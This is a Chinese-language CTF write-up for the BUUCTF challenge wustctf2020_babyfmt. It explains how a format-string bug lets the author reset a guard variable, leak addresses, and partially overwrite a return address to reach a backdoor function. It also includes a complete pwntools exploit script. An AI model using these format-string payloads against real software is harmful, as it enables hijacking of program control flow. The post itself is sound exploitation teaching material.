一道简单 fmt 题,但是我搜解题记录时,觉得解得都挺复杂的。

似乎还没有文章用我的方法,那我就写一种简单的解法。

# 绕过 fmt 判断条件

我只用到了 fmt_attack 函数。

由于有一个判定条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall fmt_attack(int *a1)
{
char format[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(format, 0, 0x30uLL);
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
*a1 = 1;
read_n(format, 40LL, format);
printf(format);
return __readfsqword(0x28u) ^ v3;

因此我们每次使用该函数时,将 * a1 处的值改为零即可循环利用该函数。

打断点,运行到代码 * a1 = 1 处

1

单步跟进,查看 rax 的值 (a1 地址)

2

运行到 printf 函数,查看 a1 的偏移

3

算上 64 位 6 个寄存器传参,偏移量 + 6,则 a1 偏移量为 7。

则我们每次利用 fmt_attack 函数时,加上 %7$n 即可令 *a1=0, 即可重复利用 fmt_attack。

# 更改返回地址为后门函数地址

运行到 printf 函数时,栈中会有许多函数返回地址。

其中第一条为 fmt_attack 函数的返回地址,

第二条是 main 函数的返回地址 (main 函数执行完会执行 libc_start_main 函数)。

由于本题开了 pie 保护,我们可以用 partial write 篡改第一个返回地址。

4

注意:后门函数直接跳转到 close 函数后即可。

5

计算 elf 基址:

1
2
3
4
5
payload = b'%7$n+%17$p'
fmt(payload)
r.recvuntil(b'+')
ret_value = int(r.recvuntil(b'\n')[:-1],16)
elf_base = ret_value-0x102c

下一步直接更改低二字节即可。

低二字节值:

1
(elf_base+0xf56)&0xffff

# 完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
r = process('/mnt/hgfs/ubuntu/BUUCTF/wustctf2020_babyfmt')
# r = remote('node4.buuoj.cn',29629)
secret_addr =0x202060

def fmt(payload):
r.recvuntil(b">>")
r.sendline(b'2')
r.sendline(payload)

r.sendline(b'1')
r.sendline(b'2')
r.sendline(b'3')

fmt(b'%7$n-%16$p')
r.recvuntil(b'-')
ret_addr = int(r.recvuntil(b'\n')[:-1],16)-0x28

payload = b'%7$n+%17$p'
fmt(payload)
r.recvuntil(b'+')
ret_value = int(r.recvuntil(b'\n')[:-1],16)
elf_base = ret_value-0x102c

payload1 = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload1 = payload1.ljust(0x10,b'a')
payload1+=p64(ret_addr)
fmt(payload1)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
r.interactive()
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝